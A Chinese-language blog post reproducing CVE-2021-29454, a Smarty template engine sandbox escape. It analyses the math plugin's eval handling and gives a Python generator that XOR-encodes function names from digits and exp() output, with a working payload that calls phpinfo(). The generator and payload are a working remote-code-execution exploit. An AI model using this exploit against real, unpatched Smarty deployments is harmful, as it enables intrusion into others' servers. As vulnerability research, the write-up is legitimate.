CVE-2021-29454 Smarty沙箱逃逸

Smarty模板引擎最近又爆出一个沙箱逃逸的漏洞,CVE编号为CVE-2021-29454。根据漏洞描述,漏洞点出在数学函数功能,可以构造恶意的数学表达式来运行任意php代码。

Smarty

Smarty 是一个php的模板引擎,之前爆出过CVE-2021-26119CVE-2021-26120两个沙箱逃逸的漏洞。最近在比赛中,又遇到了这个模板引擎,搜了下,爆出来一个新的沙箱逃逸,仅有漏洞描述和fix commit,需要自己对照补丁和源码复现。

环境

漏洞影响范围: < 3.1.42< 4.0.2

本文选择3.1.39进行复现,需要创建一个Smarty实例,启用安全模式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_POST['poc']);

分析

在网上搜了一圈,没有任何poc披露,仅有github上的描述:https://github.com/smarty-php/smarty/security/advisories/GHSA-29gp-2c3m-3j6m

由描述不难得知,漏洞点在数学表达式功能处。

对应的修复为:https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cf1e7db71

漏洞修复增加对空白符号的处理,并从php官方文档中增加了对数学表达式的正则校验。从补丁处,无法获得更多有效信息。

同时,增加了几个测试用例。

本地环境调试一下测试用例:

1
string:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}

/libs/plugins/function.math.php中抛出异常。

审计下源码,代码对反引号,美元符号,空表达式,不匹配的括号进行了处理。

给一组正常样例,在68行处下断点,进行单步调试。

1
string:{math equation=" x * y" x=5 y=6}

$equation为传入的表达式,$params为定义的变量,会对变量进行校验,仅允许数字/数字字符串。

line 82 - 91 提取表达式中的变量,在变量列表和函数白名单里查询,不存在就抛出异常。

后面替换对应变量,直接放到eval中运行。

执行命令的关键就在于如何绕过上面的限制,将代码注入到eval中。注意到,由于禁用了$,我们无法定义新的变量,并且line 82的正则表达式子会匹配出所有的字母变量名。这代表我们无法使用字母去构造逃逸,直观来看,我们可用的字符集只有部分运算符号、0-9、以及白名单中的函数。

常用操作可以通过异或操作,去拓展字符集来引入新的字符。但是,0-9显然拓展不出几个新的字符。

回到白名单函数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static $_allowed_funcs =
array(
'int' => true,
'abs' => true,
'ceil' => true,
'cos' => true,
'exp' => true,
'floor' => true,
'log' => true,
'log10' => true,
'max' => true,
'min' => true,
'pi' => true,
'pow' => true,
'rand' => true,
'round' => true,
'sin' => true,
'sqrt' => true,
'srand' => true,
'tan' => true
);

注意到可用函数中有exp函数,通过科学计数法,我们很容易就能获得E.两个新字符。

1
2
3
4
php > var_dump(exp(100));
float(2.6881171418161E+43)
php > var_dump(strval(exp(100)));
string(19) "2.6881171418161E+43"

通过0-9E.,我们就可以通过异或,拓展出来整个ascii字符集,

此外,Smarty对于数学表达式的处理中,只针对原有的字母变量进行了处理,对于后续运算得到的字符,并未处理,才造成了此处的沙箱逃逸。

复现

首先,构造payload。

由于通过拓展字符集构造出来的payload,一定是人类难以阅读的,不建议手动构造。

自动化构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*-encoding:utf-8-*-

import random
from typing import Counter

rec = {}
var = {}


def xor(a, b):
return chr(ord(a) ^ ord(b))


def expand(s):
keys = list(rec.keys())
for c in keys:
t = xor(s, c)
if t not in rec.keys():
rec[t] = rec[s] + rec[c]


def expand_all():
for i in range(10):
rec[str(i)] = list(str(i))
rec["E"] = ["E"]
rec["."] = ["..."]
for i in range(64):
expand(random.choice(list(rec.keys())))

# improve
for k in rec.keys():
c = Counter(rec[k])
rec[k] = [_ for _ in c.keys() if c[_] % 2]


def init():
expand_all()

# create symbol table
for i in range(10):
c = chr(ord('a')+i)
var[str(i)] = f"(({c}.{c})[0])"
var["E"] = "((exp(100).b)[15])" #exp(100)==2.6881171418161E+43
var["..."] = "((exp(100).b)[1])" # point => .


def generate_code(cmd):
code = [f"({'^'.join(rec[c])})" for c in cmd]
return ".".join(code)


def replace_var(code):
for c in var.keys():
code = code.replace(c, var[c])
return code


def generate_exp(expr):
var_expr = ["=".join((chr(ord('a')+i), str(i))) for i in range(10)]
return 'string: {math equation="%s" %s}' % (expr, " ".join(var_expr))


if __name__ == "__main__":
init()

func = replace_var(generate_code("phpinfo"))
payload = generate_exp(f"({func})()")
print(payload)

payload:

1
string: {math equation="((((f.f)[0])^((exp(100).b)[15])).(((h.h)[0])^((exp(100).b)[1])^((exp(100).b)[15])^((e.e)[0])).(((f.f)[0])^((exp(100).b)[15])).(((h.h)[0])^((exp(100).b)[1])^((f.f)[0])^((exp(100).b)[15])).(((h.h)[0])^((exp(100).b)[1])^((exp(100).b)[15])^((c.c)[0])).(((i.i)[0])^((exp(100).b)[1])^((f.f)[0])^((exp(100).b)[15])).(((b.b)[0])^((exp(100).b)[1])^((f.f)[0])^((exp(100).b)[15])))()" a=0 b=1 c=2 d=3 e=4 f=5 g=6 h=7 i=8 j=9}

复现:

其他

其实,还有更简单的利用方式。

Smarty中对数学表达式的符号的限制,仅仅限制了反引号和美元符号,对引号,括号,斜杠等等完全没有任何限制。

比如说,八进制。使用八进制构造字符串仅需要使用引号,斜杠,以及数字即可实现。

参考资料


CVE-2021-29454 Smarty沙箱逃逸
https://250.ac.cn/2022/03/22/CVE-2021-29454/
Author
惊蛰
Posted on
March 22, 2022
Licensed under